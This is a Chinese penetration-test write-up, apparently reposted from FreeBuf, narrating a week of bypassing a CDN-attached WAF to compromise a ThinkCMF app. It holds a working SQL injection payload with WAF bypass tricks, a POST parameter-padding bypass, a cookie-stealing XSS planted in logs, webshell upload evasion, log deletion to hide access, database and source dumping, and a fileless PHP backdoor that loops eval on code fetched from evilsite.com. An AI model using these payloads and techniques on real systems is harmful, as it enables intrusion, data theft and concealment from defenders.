与某WAF斗智斗勇的每一天 – 作者:alexo0

本文原载于公众号:安译Sec

作者:编号:白007

0x00 前言

这里分享一个项目,目标系统漏洞百出但有一个极其nb的waf。我和它斗智斗勇每天进展一点点,最终用一周时间基本搞定。

一直认为waf这种东西只能防止无目的的攻击,在针对性的攻击面前,则只能拖延一点时间而已,并不能真正解决系统的安全问题。

现在waf广泛使用的【基于特征】的检测方式有千奇百怪的攻击手法可以绕过,而新型的【基于行为】的检测方式国内还不成熟。

这里分享的案例是国内的一个【基于特征+行为】的waf,项目没有截图,只能委屈大家看表情包脑补一下……

0x01 小试牛刀(第1天)

首先拿到手是一个app,放入模拟器抓包提取app核心域名+访问路径,注册账号在网页上登陆进行测试。

技术情况收集如下:目标系统框架thinkcmf,修复了日志泄露漏洞,中间件nginx,操作系统linux,有一个不知哪个厂商的cdn并附带waf

随意测测各个功能和页面,thinkcmf这种大框架的安全性还是可以的,但是架不住没有安全意识的开发自己乱写代码。

很快我发现url中的一个【伪静态参数单引号报错】,目标开启了tp的sql调试模式,报错内容非常详细:有sql语句,配置文件里所有内容含盐,当前库名表名,当前用户在用户表中的所有字段和数据等。

既然已经有了数据库账户和密码(配置文件中),首先看能否绕过cdn找到真实ip直接连接,尝试很多方法未果,报错页面中其实也有ip相关信息,但是只有cdn的ip和一个内网ip。

放弃幻想开始手工注入,首先用一般的/*!50000*/混淆payload,当场被拦,后面进行模糊测试,观察了这个waf检测的特征与绕过方法如下:

(0)大小写混用、url、16进制编码无用

(1)过滤unionselect 

union distinct select绕过

(2)过滤select空格 

select后面的参数用引号包裹可以不加空格

(3)过滤空格from

和from挨着的那个参数用科学计数法可以不加空格

(4)过滤from空格

from{x 表名}语法绕过

(5)过滤information_schema

没能绕过,导致查不到表名列名,但还好用户表的表名和列名都在报错页面爆出来了不用查。

(6)过滤注释符/* – # 

调整payload在适当的位置加括号可以不用注释

最终注出用户表数据的payload如下(联合查询,四列,2、3列回显):

https://www.example.com/a/b/c/id/1) uNiondistinct (select'1',username,password,3e0from{x user}order by 1 limit 0,1.0

然后……下班时间到了。

【今日成果】:app基本信息收集,数据库敏感信息获取,sql注入绕过waf查询用户表。

0x02 暗度陈仓(第2天)

利用sql注入查询其他用户数据,cmf框架的用户结构不像一般的框架那样分成普通用户表和管理用户表,它的管理员和普通用户都在同一个表里。

表中的用户用一个字段去区分不同角色,这样虽然获取不到表名,但我只查用户表就可以获取管理员信息。查询之后发现目标系统只有一个管理员(角色字段值为1,其余用户都是2),密码是hash加盐加密的,thinkcmf的加密方式cmd5里没有,只能自己跑彩虹表。

跑了400万个弱口令和社工密码之后没解出来……其他比较靠前的测试用户倒是解出一大堆。

这时的情况是,【空有一个普通权限的注入点】,不知道其他表名只能查用户表,管理员用户密码hash解不开,解开了也没用后台地址目前还没找到。渗透陷入了僵局,于是我开始收集信息,收集到了目标的另外两个站——A站和B站(非二次元)。

【先看A站】阿里云服务器,真实ip,没有cdn也没有waf,宝塔,dedecms,开了22和3306端口,后台地址admin,用户名admin,服务器用户名root\mysql\www(ssh用户名枚举漏洞)。开始测试:爆破、注入、扫目录、织梦已知漏洞等等一顿操作之后,没搞进去,放弃。

【再看B站】,有cdn,ecshop,注册账户后登陆,开始测试:前台sql注入、头像上传、留言板xss、垂直越权等等……,都没有

不慌,一个/admin看到后台,随手一个123456……,没进去。但是发现没有验证码,挂上burp,top10000走起,弱口令成功登入。进后台找了几个上传点,全都是后缀白名单,没有包含和解析漏洞。但是惊喜的发现后台有【sql查询功能】(直接运行sql语句)和【数据库测试连接功能】。开始测试sql查询功能,输好sql语句按回车,熟悉的waf页面又弹了出来……重新尝试绕过,昨天的注入点是get型,这里是post型,waf的过滤规则相应有些变化。具体什么规则我没有记录,因为最后我是用:【post传参不限制长度,传递100个参数之后,第101个参数waf不会进行检测】这个方法去绕过的。前面加100个垃圾参数,之后的参数根本不用加任何混淆,堪称为所欲为。

1598232873.jpg!small

重新开始sql查询,用户权限root,限制了文件读写目录,列库名,意外的发现商城和app竟然是旁站。现在我不仅可以查询,还可以增删改app的数据,而且表名列名也都能查到了。接下来尝试用数据库测试连接功能寻找真实ip:因为waf是cdn附带的,知道真实ip等于使waf失效,若3306开放还可以直接连入数据库,所以真实ip还是很有价值的。

具体操作】:用nc在vps上监听端口,后台这边用测试连接功能发出请求,nc那边收到ip地址。

但是去访问发现该ip仅开了80端口,空白页面,修改hosts文件也没办法解析。真实ip还是没有找到,真奇怪。

容我先下个班慢慢想想怎么回事……

【今日成果】:用户信息收集,资产信息收集,旁站sql查询功能绕过waf操作数据库。

0x03 登堂入室(第3天)

截止第2天,我通过旁站的sql查询功能拿到了数据库root权限,但是管理员做了安全配置不能读写文件,所以还是要想办法进后台看看能不能getshell。可是目前后台地址还没有找到,常规的扫目录会被ban ip。

随意翻翻数据库,在系统配置表里翻到了一串神秘的字符串,注释写着后台加密,拿去拼到url后面试一试,竟然就跳到了后台登陆界面。

后面才知道目标有个【后台地址加密】功能,不过应该不是cmf框架原版的后台地址加密(/?g=admin&upw=加密码),可能是二次开发魔改的,所以直接拼到url后面就行了。

已知后台,可以改管理员密码去登陆,但是我看了一下数据库登陆日志表,发现目标的唯一管理用户其实很多人在用,登陆频率相当高。直接改密码动作太大了。需要想另外的方法登入。

我首先尝试了一下登陆日志xss盲打,在数据库里把登陆日志的一条改为偷cookie的js。然后就在xss平台蹲守,大概一小时之后,xss平台没有任何记录,反而数据库中看到登陆日志全被管理员清掉了……弄巧成拙。

转变思路,把一个已解出密码的普通用户提权为管理员(在数据库里改一个字段),然后提前准备好清除单条登陆日志的sql句,这边后台一登陆,旁站那边立刻运行,最终依靠手速达到悄无声息登陆后台的效果。

查看后台功能,找到了一个开发自己写的上传点,代码层面应该是没做任何过滤,但是尝试上传webshell时,熟悉老朋友又见面了——那个waf的页面。

继续硬刚,一番测试之后,发现waf基于两方面进行拦截,一检测文件后缀名,匹配到php等敏感后缀就不予放行(php2,php3等都试过了)。二检测文件内容,匹配到<?php就不予放行(大小写混淆也试过了)。

了解了检测特征,开始一一尝试绕过,首先是后缀名,利用引号分号和换行进行混淆绕过:filename===”shell’;.php”  

文件内容,利用php短标签<??>进行绕过。至此可以上传webshell,先传了个年久失修的原版冰蝎(非3.0),连接时被拦截,是基于流量特征的检测。当时很懒没有去改冰蝎,直接传了个大马,可用。

然后我开始翻文件,当时没想到这个waf还藏了一手,随意翻了大概半小时,突然熟悉的waf页面又出来了,大马被杀。而且我用大马藏的其他webshell也都不能访问了,杀的是一干二净。

换个ip,我又登进后台传了一遍,依旧能用,但是这次仅仅过了不到十分钟,waf就出来了。换个ip再传,这次是一分钟,也就是连接之后点了两三下而已。这时才知道这个waf还有个基于行为检测的功能,类似机器学习的那种感觉。看来这个大马waf已经很熟悉不能再用了,我找了另外一个大马,正当我换好ip打算进去再传一遍时,突然发现旁站sql查询的功能的页面也被waf拦截了……这确认了两点,
(1)这个waf确实有自学习的功能,虽然学的慢了点(那个功能我用了接近一天)。(2)waf狠起来连自己人都杀。没了那个功能,就不能清理登陆日志了,登陆后台会有被发现的危险。正好此时也到了下班时间……

0x04 返璞归真(第4天)

上班,先看看被waf拦截的“自己人”有没有恢复,不看不要紧,一看发现,管理员把整个旁站都下线了……用之前的前台sql注入看了一下,自己加的用户还在。但是清理不了日志的情况下怎么能隐蔽的登陆后台呢?这就是考验手速的时候了,提前准备好清理日志、拖源码、拖库三个php脚本,登陆后台后立马上传大马,利用waf自学习的时间差,上传运行并删除三个脚本(其实可以把三个脚本合成一个,然后不传大马直接传脚本),之后用迅雷把源码和数据库下载回来就好啦。

本来打算代码审计一波,结果因为意外项目结束了……

0x05 思考

因为项目并没有完整的做完,所以我和waf之间也没分出个胜负。但后面想一想,针对waf这种基于行为检测方式和自学习功能,应该如何去绕过呢,这里有我想出的三个方法,抛砖引玉,大家也可以在留言区讨论一下。
(1)利用代理池隐蔽恶意流量。【分析】:同样是系统自带的页面,后台的sql查询功能在我用了一天之后就被杀了,但是前台的sql注入我用了四天也没见被拦。猜测waf可能有一个模型,检测正常流量和恶意流量的比例。【操作】:我上传大马后,挂一个代理池,构造大量的正常访问流量,把恶意流量混入其中,让waf以为这是一个正常页面,这样可以降低被杀的概率。
(2)加密返回报文。【分析】:waf是cdn附带的,没有部署在目标服务器上,理论上它不可能知道我到底运行了什么命令,所谓基于行为其实应该是基于返回包的内容的特征匹配。【操作】:那么我只要改一改冰蝎就好了,去掉流量特征,返回包全加密,waf就不知道我到底做了什么。
(3)php无文件木马。【分析】:利用php的无文件木马,上传一个运行后会删除自己的脚本,它会驻留在内存中运行,脚本内容是一个死循环,隔一段时间运行一下远程vps上的代码,这种没有文件落地的webshell想必waf也没办法去拦截。

【操作】

<?php    unlink($_SERVER['SCRIPT_FILENAME']);    ignore_user_abort(true);    set_time_limit(0);    $remote_file ='http://www.evilsite.com/eval.txt';    while($code =file_get_contents($remote_file)){        @eval($code);        sleep(5);    };?>

0x06 后记

项目戛然而止,让我失去了和这个waf对线的机会,说起来有点丢人,至今我还不知道这个waf是哪家的。项目全程没有截图,但是waf我截过一张,放在下面了。知道的师傅可以留言告诉我,感激不尽!

1598232925.jpg!small

END.

来源:freebuf.com 2020-08-24 09:23:53 by: alexo0

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论